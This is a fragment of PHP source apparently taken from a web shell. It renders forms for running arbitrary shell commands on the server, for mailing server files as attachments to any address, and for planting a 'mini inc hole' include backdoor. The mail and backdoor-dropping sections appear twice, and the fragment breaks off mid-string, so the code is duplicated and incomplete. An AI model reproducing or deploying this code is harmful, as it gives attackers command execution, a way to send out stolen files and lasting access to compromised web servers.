if ($cmdln == 1) {
$emeth = test_cmd_shell();
$strOutput .= "<table border=1><tr><td colspan=2><h3>execute cmd execution: " . $cmdcall . "</h3></td></tr>\n\t<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>\n\t<tr><td>cmd line</td><td><input type=text name='cmdcall' value='" . $cmdcall . "'></td></tr>\n\t<tr><td></td><td><input type=submit></td></tr>\n\t<tr><td>test method with 'pwd'</td><td>" . $Mstr[$emeth] . "</td></tr>\n\t<tr><td colspan=2>";
if ($emeth < 3) {
$strOutput .= "The output of this command will be somewhere on the page!";
Mexec($cmdcall, $emeth);
} else {
$strOutput .= Mexec($cmdcall, $emeth);
}
$strOutput .= "</td></tr>\n\t</form>\n\t</table>";
}
###############################################################################
# sending mime mail
###############################################################################
if ($mail == 1) {
$strOutput .= "<table border=1><tr><td colspan=2><h3>sending mime mail with attachment</h3></td></tr>\n\t<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>\n\t<tr><td>from</td><td><input type=text name='mail_from' value='" . $mail_from . "'></td></tr>\n\t<tr><td>to</td><td><input type=text name='mail_to' value='" . $mail_to . "'></td></tr>\n\t<tr><td>subject</td><td><input type=text name='mail_subject' value='" . $mail_subject . "'></td></tr>\n\t<tr><td>message</td><td><textarea name='mail_msg' cols='50' rows='10'>" . $mail_msg . "</textarea></td></tr>\n\t<tr><td>attach file</td><td><input type=text name='mail_attach_source' value='" . $mail_attach_source . "'></td></tr>\n\t<tr><td>attach content type</td><td><input type=text name='mail_content_type' value='" . $mail_content_type . "'></td></tr>\n\t<tr><td>file to appear</td><td><input type=text name='mail_attach_appear' value='" . $mail_attach_appear . "'></td></tr>\n\t<tr><td></td><td><input type=submit></td></tr>\n\t<tr><td colspan=2>" . drop_mime_mail($mail_from, $mail_to, $mail_subject, $mail_attach_source, $mail_content_type, $mail_attach_appear, $mail_msg) . "</td></tr>\n\t</form>\n\t</table>";
}
###############################################################################
# drop mini inc handling
###############################################################################
if ($dropinc == 1) {
if ($loc != "") {
$miniinc_loc = $loc;
}
$strOutput .= "<table border=1><tr><td colspan=2><h3>drop mini inc hole</h3></td></tr>\n\t<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>\n\t<tr><td>source</td><td><input type=text name='loc' value='" . $miniinc_loc . "'></td></tr>\n\t<tr><td>drop</td><td><input type='checkbox' name='minisave' value='1'></td></tr>\n\t<tr><td></td><td><input type=submit></td></tr>\n\t<tr><td colspan=2><pre>";
if ($minisave == 1) {
$strOutput .= dropminiinc($miniinc_loc);
}
$strOutput .= "</pre></td></tr>\n\t</form>\n\t</table>";
}
###############################################################################
}
###############################################################################
# sending mime mail
###############################################################################
if($mail == 1) {
$strOutput .= "<table border=1><tr><td colspan=2><h3>sending mime mail with attachment</h3></td></tr>
<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>
<tr><td>from</td><td><input type=text name='mail_from' value='" . $mail_from . "'></td></tr>
<tr><td>to</td><td><input type=text name='mail_to' value='" . $mail_to . "'></td></tr>
<tr><td>subject</td><td><input type=text name='mail_subject' value='" . $mail_subject . "'></td></tr>
<tr><td>message</td><td><textarea name='mail_msg' cols='50' rows='10'>" . $mail_msg . "</textarea></td></tr>
<tr><td>attach file</td><td><input type=text name='mail_attach_source' value='" .$mail_attach_source . "'></td></tr>
<tr><td>attach content type</td><td><input type=text name='mail_content_type' value='" . $mail_content_type . "'></td></tr>
<tr><td>file to appear</td><td><input type=text name='mail_attach_appear' value='" . $mail_attach_appear . "'></td></tr>
<tr><td></td><td><input type=submit></td></tr>
<tr><td colspan=2>" . drop_mime_mail($mail_from,$mail_to,$mail_subject,$mail_attach_source,$mail_content_type,$mail_attach_appear,$mail_msg) . "</td></tr>
</form>
</table>";
}
###############################################################################
# drop mini inc handling
###############################################################################
if($dropinc == 1) {
if($loc!="") $miniinc_loc = $loc;
$strOutput .= "<table border=1><tr><td colspan=2><h3>drop mini inc hole</h3></td></tr>
<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>
<tr><td>source</td><td><input type=text name='loc' value='" . $miniinc_loc . "'></td></tr>
<tr><td>drop</td><td><input type='checkbox' name='minisave' value='1'></td></tr>
<tr><td></td><td><input type=submit></td></tr>
<tr><td colspan=2><pre>";